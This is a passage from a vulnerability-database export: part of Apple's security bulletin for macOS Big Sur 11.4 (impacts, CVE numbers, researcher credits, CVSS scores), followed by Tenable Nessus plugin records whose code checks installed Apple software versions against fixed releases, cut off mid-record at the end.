corruption issue was addressed with improved state management.\n\nCVE-2021-30717: Aleksandar Nikolic of Cisco Talos\n\n**smbx**\n\nAvailable for: macOS Big Sur\n\nImpact: An attacker in a privileged network position may be able to leak sensitive user information\n\nDescription: A path handling issue was addressed with improved validation.\n\nCVE-2021-30721: Aleksandar Nikolic of Cisco Talos\n\n**smbx**\n\nAvailable for: macOS Big Sur\n\nImpact: An attacker in a privileged network position may be able to leak sensitive user information\n\nDescription: An information disclosure issue was addressed with improved state management.\n\nCVE-2021-30722: Aleksandar Nikolic of Cisco Talos\n\n**smbx**\n\nAvailable for: macOS Big Sur\n\nImpact: A remote attacker may be able to cause unexpected application termination or arbitrary code execution\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2021-30712: Aleksandar Nikolic of Cisco Talos\n\n**Software Update**\n\nAvailable for: macOS Big Sur\n\nImpact: A person with physical access to a Mac may be able to bypass Login Window during a software update\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2021-30668: Syrus Kimiagar and Danilo Paffi Monteiro\n\n**SoftwareUpdate**\n\nAvailable for: macOS Big Sur\n\nImpact: A non-privileged user may be able to modify restricted settings\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2021-30718: SiQian Wei of ByteDance Security\n\n**TCC**\n\nAvailable for: macOS Big Sur\n\nImpact: A malicious application may be able to send unauthorized Apple events to Finder\n\nDescription: A validation issue was addressed with improved logic.\n\nCVE-2021-30671: Ryan Bell (@iRyanBell)\n\n**TCC**\n\nAvailable for: macOS Big Sur\n\nImpact: A malicious application may be able to bypass Privacy preferences. Apple is aware of a report that this issue may have been actively exploited.\n\nDescription: A permissions issue was addressed with improved validation.\n\nCVE-2021-30713: an anonymous researcher\n\n**WebKit**\n\nAvailable for: macOS Big Sur\n\nImpact: Processing maliciously crafted web content may lead to universal cross site scripting\n\nDescription: A cross-origin issue with iframe elements was addressed with improved tracking of security origins.\n\nCVE-2021-30744: Dan Hite of jsontop\n\n**WebKit**\n\nAvailable for: macOS Big Sur\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution\n\nDescription: A use after free issue was addressed with improved memory management.\n\nCVE-2021-21779: Marcin Towalski of Cisco Talos\n\n**WebKit**\n\nAvailable for: macOS Big Sur\n\nImpact: A malicious application may be able to leak sensitive user information\n\nDescription: A logic issue was addressed with improved restrictions.\n\nCVE-2021-30682: Prakash (@1lastBr3ath)\n\nEntry updated July 21, 2021\n\n**WebKit**\n\nAvailable for: macOS Big Sur\n\nImpact: Processing maliciously crafted web content may lead to universal cross site scripting\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2021-30689: an anonymous researcher\n\n**WebKit**\n\nAvailable for: macOS Big Sur\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution\n\nDescription: Multiple memory corruption issues were addressed with improved memory handling.\n\nCVE-2021-30749: an anonymous researcher and mipu94 of SEFCOM lab, ASU. working with Trend Micro Zero Day Initiative\n\nCVE-2021-30734: Jack Dates of RET2 Systems, Inc. (@ret2systems) working with Trend Micro Zero Day Initiative\n\n**WebKit**\n\nAvailable for: macOS Big Sur\n\nImpact: A malicious website may be able to access restricted ports on arbitrary servers\n\nDescription: A logic issue was addressed with improved restrictions.\n\nCVE-2021-30720: David Sch\u00fctz (@xdavidhu)\n\n**WebRTC**\n\nAvailable for: macOS Big Sur\n\nImpact: A remote attacker may be able to cause a denial of service\n\nDescription: A null pointer dereference was addressed with improved input validation.\n\nCVE-2021-23841: Tavis Ormandy of Google\n\nCVE-2021-30698: Tavis Ormandy of Google\n\n\n\n## Additional recognition\n\n**App Store**\n\nWe would like to acknowledge Thijs Alkemade of Computest Research Division for their assistance.\n\n**CoreCapture**\n\nWe would like to acknowledge Zuozhi Fan (@pattern_F_) of Ant-financial TianQiong Security Lab for their assistance.\n\n**ImageIO**\n\nWe would like to acknowledge Jzhu working with Trend Micro Zero Day Initiative and an anonymous researcher for their assistance.\n\n**Mail Drafts**\n\nWe would like to acknowledge Lauritz Holtmann (@_lauritz_) for their assistance.\n\n**WebKit**\n\nWe would like to acknowledge Chris Salls (@salls) of Makai Security for their assistance.\n\nInformation about products not manufactured by Apple, or independent websites not controlled or tested by Apple, is provided without recommendation or endorsement. Apple assumes no responsibility with regard to the selection, performance, or use of third-party websites or products. Apple makes no representations regarding third-party website accuracy or reliability. [Contact the vendor](<http://support.apple.com/kb/HT2693>) for additional information.\n\nPublished Date: January 19, 2022\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-05-24T00:00:00", "type": "apple", "title": "About the security content of macOS Big Sur 11.4", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-36221", "CVE-2020-36222", "CVE-2020-36223", "CVE-2020-36224", "CVE-2020-36225", "CVE-2020-36226", "CVE-2020-36227", "CVE-2020-36228", "CVE-2020-36229", "CVE-2020-36230", "CVE-2021-21779", "CVE-2021-23841", "CVE-2021-30668", "CVE-2021-30669", "CVE-2021-30671", "CVE-2021-30672", "CVE-2021-30673", "CVE-2021-30676", "CVE-2021-30677", "CVE-2021-30678", "CVE-2021-30679", "CVE-2021-30680", "CVE-2021-30681", "CVE-2021-30682", "CVE-2021-30683", "CVE-2021-30684", "CVE-2021-30685", "CVE-2021-30686", "CVE-2021-30687", "CVE-2021-30688", "CVE-2021-30689", "CVE-2021-30691", "CVE-2021-30692", "CVE-2021-30693", "CVE-2021-30694", "CVE-2021-30695", "CVE-2021-30696", "CVE-2021-30697", "CVE-2021-30698", "CVE-2021-30700", "CVE-2021-30701", "CVE-2021-30702", "CVE-2021-30703", "CVE-2021-30704", "CVE-2021-30705", "CVE-2021-30706", "CVE-2021-30707", "CVE-2021-30708", "CVE-2021-30709", "CVE-2021-30710", "CVE-2021-30712", "CVE-2021-30713", "CVE-2021-30715", "CVE-2021-30716", "CVE-2021-30717", "CVE-2021-30718", "CVE-2021-30719", "CVE-2021-30720", "CVE-2021-30721", "CVE-2021-30722", "CVE-2021-30723", "CVE-2021-30724", "CVE-2021-30725", "CVE-2021-30726", "CVE-2021-30727", "CVE-2021-30728", "CVE-2021-30731", "CVE-2021-30733", "CVE-2021-30734", "CVE-2021-30735", "CVE-2021-30736", "CVE-2021-30737", "CVE-2021-30738", "CVE-2021-30739", "CVE-2021-30740", "CVE-2021-30744", "CVE-2021-30746", "CVE-2021-30749", "CVE-2021-30751", "CVE-2021-30753", "CVE-2021-30755", "CVE-2021-30756", "CVE-2021-30771"], "modified": "2021-05-24T00:00:00", "id": "APPLE:B08BBADEFC88806E12CB234F1EB6C4C6", "href": "https://support.apple.com/kb/HT212529", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "nessus": [{"lastseen": "2023-06-01T14:28:50", "description": "The version of Apple iOS running on the mobile device is prior to 12.5.4. It is, therefore, affected by multiple vulnerabilities:\n\n - A memory corruption issue in the ASN.1 decoder was addressed by removing the vulnerable code. Processing a maliciously crafted certificate may lead to arbitrary code execution. (CVE-2021-30737)\n\n - A memory corruption issue was addressed with improved state management. Processing maliciously crafted web content may lead to arbitrary code execution. Apple is aware of a report that this issue may have been actively exploited.\n (CVE-2021-30761)\n\n - A use after free issue was addressed with improved memory management. Processing maliciously crafted web content may lead to arbitrary code execution. Apple is aware of a report that this issue may have been actively exploited.\n (CVE-2021-30762)\n\nNote that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.", "cvss3": {}, "published": "2021-06-17T00:00:00", "type": "nessus", "title": "Apple iOS < 12.5.4 Multiple Vulnerabilities (HT212548)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2021-30737", "CVE-2021-30761", "CVE-2021-30762"], "modified": "2023-05-31T00:00:00", "cpe": ["cpe:/o:apple:iphone_os"], "id": "APPLE_IOS_1254_CHECK.NBIN", "href": "https://www.tenable.com/plugins/nessus/150851", "sourceData": "Binary data apple_ios_1254_check.nbin", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2023-05-18T15:29:21", "description": "According to its banner, the version of Apple TV on the remote device is prior to 14.6. It is therefore affected by multiple vulnerabilities as described in the HT212532, including:\n\n - Processing maliciously crafted web content may lead to arbitrary code execution. (CVE-2021-30665)\n\n - Processing a maliciously crafted audio file may lead to arbitrary code execution (CVE-2021-30707)\n\n - Processing maliciously crafted web content may lead to universal cross site scripting (CVE-2021-30689)\n\nNote that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.", "cvss3": {}, "published": "2021-05-27T00:00:00", "type": "nessus", "title": "Apple TV < 14.6 Multiple Vulnerabilities", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2021-21779", "CVE-2021-30663", "CVE-2021-30665", "CVE-2021-30677", "CVE-2021-30682", "CVE-2021-30685", "CVE-2021-30686", "CVE-2021-30687", "CVE-2021-30689", "CVE-2021-30697", "CVE-2021-30700", "CVE-2021-30701", "CVE-2021-30704", "CVE-2021-30705", "CVE-2021-30707", "CVE-2021-30710", "CVE-2021-30715", "CVE-2021-30720", "CVE-2021-30724", "CVE-2021-30727", "CVE-2021-30734", "CVE-2021-30736", "CVE-2021-30737", "CVE-2021-30740", "CVE-2021-30744", "CVE-2021-30749"], "modified": "2023-04-25T00:00:00", "cpe": ["cpe:/a:apple:apple_tv"], "id": "APPLETV_14_6.NASL", "href": "https://www.tenable.com/plugins/nessus/149992", "sourceData": "#%NASL_MIN_LEVEL 70300\n##\n# (C) Tenable Network Security, Inc.\n##\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(149992);\n script_version(\"1.11\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2023/04/25\");\n\n script_cve_id(\n \"CVE-2021-21779\",\n \"CVE-2021-30663\",\n \"CVE-2021-30665\",\n \"CVE-2021-30677\",\n \"CVE-2021-30682\",\n \"CVE-2021-30685\",\n \"CVE-2021-30686\",\n \"CVE-2021-30687\",\n \"CVE-2021-30689\",\n \"CVE-2021-30697\",\n \"CVE-2021-30700\",\n \"CVE-2021-30701\",\n \"CVE-2021-30704\",\n \"CVE-2021-30705\",\n \"CVE-2021-30707\",\n \"CVE-2021-30710\",\n \"CVE-2021-30715\",\n \"CVE-2021-30720\",\n \"CVE-2021-30724\",\n \"CVE-2021-30727\",\n \"CVE-2021-30734\",\n \"CVE-2021-30736\",\n \"CVE-2021-30737\",\n \"CVE-2021-30740\",\n \"CVE-2021-30744\",\n \"CVE-2021-30749\"\n );\n script_xref(name:\"APPLE-SA\", value:\"HT212532\");\n script_xref(name:\"APPLE-SA\", value:\"APPLE-SA-2021-05-20\");\n script_xref(name:\"CISA-KNOWN-EXPLOITED\", value:\"2021/11/17\");\n\n script_name(english:\"Apple TV < 14.6 Multiple Vulnerabilities\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote Apple TV device is affected by multiple vulnerabilities\");\n script_set_attribute(attribute:\"description\", value:\n\"According to its banner, the version of Apple TV on the remote device is prior to 14.6. It is therefore affected by\nmultiple vulnerabilities as described in the HT212532, including:\n\n - Processing maliciously crafted web content may lead to arbitrary code execution. (CVE-2021-30665)\n\n - Processing a maliciously crafted audio file may lead to arbitrary code execution (CVE-2021-30707)\n\n - Processing maliciously crafted web content may lead to universal cross site scripting (CVE-2021-30689)\n\nNote that Nessus has not tested for these issues but has instead relied only on the application's self-reported\nversion number.\");\n script_set_attribute(attribute:\"see_also\", value:\"https://support.apple.com/en-us/HT212532\");\n script_set_attribute(attribute:\"solution\", value:\n\"Upgrade to Apple TV version 14.6 or later.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:F/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:F/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2021-30740\");\n script_set_attribute(attribute:\"cvss3_score_source\", value:\"CVE-2021-30749\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2021/04/29\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2021/05/20\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2021/05/27\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"remote\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:apple:apple_tv\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Misc.\");\n\n script_copyright(english:\"This script is Copyright (C) 2021-2023 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"appletv_version.nasl\");\n script_require_keys(\"AppleTV/Version\", \"AppleTV/Model\", \"AppleTV/URL\", \"AppleTV/Port\");\n script_require_ports(\"Services/www\", 7000);\n\n exit(0);\n}\n\ninclude('appletv_func.inc');\n\nvar url, port, build, model, fixed_build, gen, tvos_ver;\n\nurl = get_kb_item_or_exit('AppleTV/URL', msg:'Cannot determine Apple TV URL.');\n\nport = get_kb_item_or_exit('AppleTV/Port', msg:'Cannot determine Apple TV port.');\n\nbuild = get_kb_item_or_exit('AppleTV/Version', msg:'Cannot determine Apple TV version.');\n\nmodel = get_kb_item_or_exit('AppleTV/Model', msg:'Cannot determine Apple TV model.');\n\nfixed_build = '18L569';\ntvos_ver = '14.6';\n\n# determine gen from the model\ngen = APPLETV_MODEL_GEN[model];\n\nappletv_check_version(\n build : build,\n fix : fixed_build,\n affected_gen : make_list(4, 5, 6),\n fix_tvos_ver : tvos_ver,\n model : model,\n gen : gen,\n port : port,\n url : url,\n severity : SECURITY_HOLE\n);\n", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2023-05-18T15:24:32", "description": "The remote host is running a version of macOS / Mac OS X that is 10.14.x prior to 10.14.6 Security Update 2021-001 Mojave, 10.15.x prior to 10.15.7 Security Update 2021-001 Catalina, or 11.x prior to 11.2. It is, therefore, affected by multiple vulnerabilities, including the following:\n\n - A logic issue existed resulting in memory corruption. This was addressed with improved state management.\n An application may be able to execute arbitrary code with kernel privileges. (CVE-2020-27904)\n\n - A logic issue existed that allowed applications to execute arbitrary code with kernel privileges.\n (CVE-2021-1750)\n\n - An out-of-bounds-write caused by improper input validation allowed maliciously crafted USD files to unexpectedly terminate an application or cause arbitrary code execution. (CVE-2021-1762)\n\nNote that Nessus has not tested for this issue but has instead relied only on the operating system's self-reported version number.", "cvss3": {}, "published": "2021-02-03T00:00:00", "type": "nessus", "title": "macOS 10.14.x < 10.14.6 Security Update 2021-001 / 10.15.x < 10.15.7 Security Update 2021-001 / macOS 11.x < 11.2 (HT212147)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2019-20838", "CVE-2020-14155", "CVE-2020-15358", "CVE-2020-25709", "CVE-2020-27904", "CVE-2020-27937", "CVE-2020-27938", "CVE-2020-27945", "CVE-2020-29608", "CVE-2020-29614", "CVE-2020-29633", "CVE-2021-1736", "CVE-2021-1737", "CVE-2021-1738", "CVE-2021-1741", "CVE-2021-1742", "CVE-2021-1743", "CVE-2021-1744", "CVE-2021-1745", "CVE-2021-1746", "CVE-2021-1747", "CVE-2021-1750", "CVE-2021-1751", "CVE-2021-1753", "CVE-2021-1754", "CVE-2021-1757", "CVE-2021-1758", "CVE-2021-1759", "CVE-2021-1760", "CVE-2021-1761", "CVE-2021-1762", "CVE-2021-1763", "CVE-2021-1764", "CVE-2021-1765", "CVE-2021-1766", "CVE-2021-1767", "CVE-2021-1768", "CVE-2021-1769", "CVE-2021-1771", "CVE-2021-1772", "CVE-2021-1773", "CVE-2021-1774", "CVE-2021-1775", "CVE-2021-1776", "CVE-2021-1777", "CVE-2021-1778", "CVE-2021-1779", "CVE-2021-1782", "CVE-2021-1783", "CVE-2021-1785", "CVE-2021-1786", "CVE-2021-1787", "CVE-2021-1788", "CVE-2021-1789", "CVE-2021-1790", "CVE-2021-1791", "CVE-2021-1792", "CVE-2021-1793", "CVE-2021-1797", "CVE-2021-1799", "CVE-2021-1801", "CVE-2021-1802", "CVE-2021-1818", "CVE-2021-1870", "CVE-2021-1871"], "modified": "2023-04-25T00:00:00", "cpe": ["cpe:/o:apple:mac_os_x", "cpe:/o:apple:macos"], "id": "MACOS_HT212147.NASL", "href": "https://www.tenable.com/plugins/nessus/146086", "sourceData": "##\n# (C) Tenable Network Security, Inc.\n##\n\ninclude('compat.inc');\n\nif (description)\n{\n script_id(146086);\n script_version(\"1.12\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2023/04/25\");\n\n script_cve_id(\n \"CVE-2019-20838\",\n \"CVE-2020-14155\",\n \"CVE-2020-15358\",\n \"CVE-2020-25709\",\n \"CVE-2020-27904\",\n \"CVE-2020-27937\",\n \"CVE-2020-27938\",\n \"CVE-2020-27945\",\n \"CVE-2020-29608\",\n \"CVE-2020-29614\",\n \"CVE-2020-29633\",\n \"CVE-2021-1736\",\n \"CVE-2021-1737\",\n \"CVE-2021-1738\",\n \"CVE-2021-1741\",\n \"CVE-2021-1742\",\n \"CVE-2021-1743\",\n \"CVE-2021-1744\",\n \"CVE-2021-1745\",\n \"CVE-2021-1746\",\n \"CVE-2021-1747\",\n \"CVE-2021-1750\",\n \"CVE-2021-1751\",\n \"CVE-2021-1753\",\n \"CVE-2021-1754\",\n \"CVE-2021-1757\",\n \"CVE-2021-1758\",\n \"CVE-2021-1759\",\n \"CVE-2021-1760\",\n \"CVE-2021-1761\",\n \"CVE-2021-1762\",\n \"CVE-2021-1763\",\n \"CVE-2021-1764\",\n \"CVE-2021-1765\",\n \"CVE-2021-1766\",\n \"CVE-2021-1767\",\n \"CVE-2021-1768\",\n \"CVE-2021-1769\",\n \"CVE-2021-1771\",\n \"CVE-2021-1772\",\n \"CVE-2021-1773\",\n \"CVE-2021-1774\",\n \"CVE-2021-1775\",\n \"CVE-2021-1776\",\n \"CVE-2021-1777\",\n \"CVE-2021-1778\",\n \"CVE-2021-1779\",\n \"CVE-2021-1782\",\n \"CVE-2021-1783\",\n \"CVE-2021-1785\",\n \"CVE-2021-1786\",\n \"CVE-2021-1787\",\n \"CVE-2021-1788\",\n \"CVE-2021-1789\",\n \"CVE-2021-1790\",\n \"CVE-2021-1791\",\n \"CVE-2021-1792\",\n \"CVE-2021-1793\",\n \"CVE-2021-1797\",\n \"CVE-2021-1799\",\n \"CVE-2021-1801\",\n \"CVE-2021-1802\",\n \"CVE-2021-1818\",\n \"CVE-2021-1870\",\n \"CVE-2021-1871\"\n );\n script_xref(name:\"APPLE-SA\", value:\"HT212147\");\n script_xref(name:\"APPLE-SA\", value:\"APPLE-SA-2021-02-01-1\");\n script_xref(name:\"IAVA\", value:\"2021-A-0058\");\n script_xref(name:\"IAVA\", value:\"2021-A-0505-S\");\n script_xref(name:\"CISA-KNOWN-EXPLOITED\", value:\"2021/11/17\");\n script_xref(name:\"CISA-KNOWN-EXPLOITED\", value:\"2022/05/25\");\n\n script_name(english:\"macOS 10.14.x < 10.14.6 Security Update 2021-001 / 10.15.x < 10.15.7 Security Update 2021-001 / macOS 11.x < 11.2 (HT212147)\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote host is missing a macOS security update.\");\n script_set_attribute(attribute:\"description\", value:\n\"The remote host is running a version of macOS / Mac OS X that is 10.14.x prior to 10.14.6 Security Update 2021-001\nMojave, 10.15.x prior to 10.15.7 Security Update 2021-001 Catalina, or 11.x prior to 11.2. It is, therefore, affected by\nmultiple vulnerabilities, including the following:\n\n - A logic issue existed resulting in memory corruption. This was addressed with improved state management.\n An application may be able to execute arbitrary code with kernel privileges. (CVE-2020-27904)\n\n - A logic issue existed that allowed applications to execute arbitrary code with kernel privileges.\n (CVE-2021-1750)\n\n - An out-of-bounds-write caused by improper input validation allowed maliciously crafted USD files to\n unexpectedly terminate an application or cause arbitrary code execution. (CVE-2021-1762)\n\nNote that Nessus has not tested for this issue but has instead relied only on the operating system's self-reported\nversion number.\");\n script_set_attribute(attribute:\"see_also\", value:\"https://support.apple.com/en-us/HT212147\");\n script_set_attribute(attribute:\"solution\", value:\n\"Upgrade to macOS 10.14.6 Security Update 2021-001 / 10.15.7 Security Update 2021-001 / macOS 11.2 or later.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:F/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:F/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2021-1779\");\n script_set_attribute(attribute:\"cvss3_score_source\", value:\"CVE-2021-1871\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2020/06/15\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2021/02/01\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2021/02/03\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:apple:mac_os_x\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:apple:macos\");\n script_set_attribute(attribute:\"stig_severity\", value:\"I\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"MacOS X Local Security Checks\");\n\n script_copyright(english:\"This script is Copyright (C) 2021-2023 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_ports(\"Host/MacOSX/Version\", \"Host/local_checks_enabled\", \"Host/MacOSX/packages/boms\");\n\n exit(0);\n}\n\ninclude('vcf.inc');\ninclude('vcf_extras_apple.inc');\n\napp_info = vcf::apple::macos::get_app_info();\n\nconstraints = [\n { 'max_version' : '10.14.6', 'min_version' : '10.14', 'fixed_build': '18G8012', 'fixed_display' : '10.14.6 Security Update 2021-001 Mojave' },\n { 'max_version' : '10.15.7', 'min_version' : '10.15', 'fixed_build': '19H512', 'fixed_display' : '10.15.7 Security Update 2021-001 Catalina' },\n { 'min_version' : '11.0', 'fixed_version' : '11.2', 'fixed_display' : 'macOS Big Sur 11.2' }\n];\n\nvcf::apple::macos::check_version_and_report(app_info:app_info, constraints:constraints, severity:SECURITY_HOLE);\n", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2023-05-18T15:29:21", "description": "The remote host is running a version of macOS / Mac OS X that is 11.x prior to 11.4 Big Sur. It is, therefore, affected by multiple vulnerabilities including the following:\n\n - A remote attacker may be able to cause unexpected application termination or arbitrary code execution.\n (CVE-2021-30712)\n\n - A remote attacker may be able to cause unexpected application termination or arbitrary code execution.\n (CVE-2021-30678)\n\n - An application may be able to execute arbitrary code with kernel privileges. (CVE-2021-30704)\n\nNote that Nessus has not tested for this issue but has instead relied only on the operating system's self-reported version number.", "cvss3": {}, "published": "2021-05-26T00:00:00", "type": "nessus", "title": "macOS 11.x < 11.4 (HT212529)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2020-36221", "CVE-2020-36222", "CVE-2020-36223", "CVE-2020-36224", "CVE-2020-36225", "CVE-2020-36226", "CVE-2020-36227", "CVE-2020-36228", "CVE-2020-36229", "CVE-2020-36230", "CVE-2021-21779", "CVE-2021-23841", "CVE-2021-30668", "CVE-2021-30669", "CVE-2021-30671", "CVE-2021-30673", "CVE-2021-30676", "CVE-2021-30677", "CVE-2021-30678", "CVE-2021-30679", "CVE-2021-30680", "CVE-2021-30681", "CVE-2021-30682", "CVE-2021-30683", "CVE-2021-30684", "CVE-2021-30685", "CVE-2021-30686", "CVE-2021-30687", "CVE-2021-30688", "CVE-2021-30689", "CVE-2021-30691", "CVE-2021-30692", "CVE-2021-30693", "CVE-2021-30694", "CVE-2021-30695", "CVE-2021-30696", "CVE-2021-30697", "CVE-2021-30698", "CVE-2021-30700", "CVE-2021-30701", "CVE-2021-30702", "CVE-2021-30704", "CVE-2021-30705", "CVE-2021-30707", "CVE-2021-30708", "CVE-2021-30709", "CVE-2021-30710", "CVE-2021-30712", "CVE-2021-30713", "CVE-2021-30715", "CVE-2021-30716", "CVE-2021-30717", "CVE-2021-30718", "CVE-2021-30719", "CVE-2021-30720", "CVE-2021-30721", "CVE-2021-30722", "CVE-2021-30723", "CVE-2021-30724", "CVE-2021-30725", "CVE-2021-30726", "CVE-2021-30727", "CVE-2021-30728", "CVE-2021-30734", "CVE-2021-30735", "CVE-2021-30736", "CVE-2021-30737", "CVE-2021-30738", "CVE-2021-30739", "CVE-2021-30740", "CVE-2021-30744", "CVE-2021-30746", "CVE-2021-30749"], "modified": "2023-04-25T00:00:00", "cpe": ["cpe:/o:apple:mac_os_x", "cpe:/o:apple:macos"], "id": "MACOS_HT212529.NASL", "href": "https://www.tenable.com/plugins/nessus/149986", "sourceData": "#%NASL_MIN_LEVEL 70300\n##\n# (C) Tenable Network Security, Inc.\n##\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(149986);\n script_version(\"1.15\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2023/04/25\");\n\n script_cve_id(\n \"CVE-2020-36221\",\n \"CVE-2020-36222\",\n \"CVE-2020-36223\",\n \"CVE-2020-36224\",\n \"CVE-2020-36225\",\n \"CVE-2020-36226\",\n \"CVE-2020-36227\",\n \"CVE-2020-36228\",\n \"CVE-2020-36229\",\n \"CVE-2020-36230\",\n \"CVE-2021-21779\",\n \"CVE-2021-23841\",\n \"CVE-2021-30668\",\n \"CVE-2021-30669\",\n \"CVE-2021-30671\",\n \"CVE-2021-30673\",\n \"CVE-2021-30676\",\n \"CVE-2021-30677\",\n \"CVE-2021-30678\",\n \"CVE-2021-30679\",\n \"CVE-2021-30680\",\n \"CVE-2021-30681\",\n \"CVE-2021-30682\",\n \"CVE-2021-30683\",\n \"CVE-2021-30684\",\n \"CVE-2021-30685\",\n \"CVE-2021-30686\",\n \"CVE-2021-30687\",\n \"CVE-2021-30688\",\n \"CVE-2021-30689\",\n \"CVE-2021-30691\",\n \"CVE-2021-30692\",\n \"CVE-2021-30693\",\n \"CVE-2021-30694\",\n \"CVE-2021-30695\",\n \"CVE-2021-30696\",\n \"CVE-2021-30697\",\n \"CVE-2021-30698\",\n \"CVE-2021-30700\",\n \"CVE-2021-30701\",\n \"CVE-2021-30702\",\n \"CVE-2021-30704\",\n \"CVE-2021-30705\",\n \"CVE-2021-30707\",\n \"CVE-2021-30708\",\n \"CVE-2021-30709\",\n \"CVE-2021-30710\",\n \"CVE-2021-30712\",\n \"CVE-2021-30713\",\n \"CVE-2021-30715\",\n \"CVE-2021-30716\",\n \"CVE-2021-30717\",\n \"CVE-2021-30718\",\n \"CVE-2021-30719\",\n \"CVE-2021-30720\",\n \"CVE-2021-30721\",\n \"CVE-2021-30722\",\n \"CVE-2021-30723\",\n \"CVE-2021-30724\",\n \"CVE-2021-30725\",\n \"CVE-2021-30726\",\n \"CVE-2021-30727\",\n \"CVE-2021-30728\",\n \"CVE-2021-30734\",\n \"CVE-2021-30735\",\n \"CVE-2021-30736\",\n \"CVE-2021-30737\",\n \"CVE-2021-30738\",\n \"CVE-2021-30739\",\n \"CVE-2021-30740\",\n \"CVE-2021-30744\",\n \"CVE-2021-30746\",\n \"CVE-2021-30749\"\n );\n script_xref(name:\"APPLE-SA\", value:\"HT212529\");\n script_xref(name:\"APPLE-SA\", value:\"APPLE-SA-2021-05-25-2\");\n script_xref(name:\"IAVA\", value:\"2021-A-0251-S\");\n script_xref(name:\"IAVA\", value:\"2021-A-0349-S\");\n script_xref(name:\"CISA-KNOWN-EXPLOITED\", value:\"2021/11/17\");\n script_xref(name:\"CEA-ID\", value:\"CEA-2021-0025\");\n\n script_name(english:\"macOS 11.x < 11.4 (HT212529)\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote host is missing a macOS security update.\");\n script_set_attribute(attribute:\"description\", value:\n\"The remote host is running a version of macOS / Mac OS X that is 11.x prior to 11.4 Big Sur. It is, therefore,\naffected by multiple vulnerabilities including the following:\n\n - A remote attacker may be able to cause unexpected application termination or arbitrary code execution.\n (CVE-2021-30712)\n\n - A remote attacker may be able to cause unexpected application termination or arbitrary code execution.\n (CVE-2021-30678)\n\n - An application may be able to execute arbitrary code with kernel privileges. (CVE-2021-30704)\n\nNote that Nessus has not tested for this 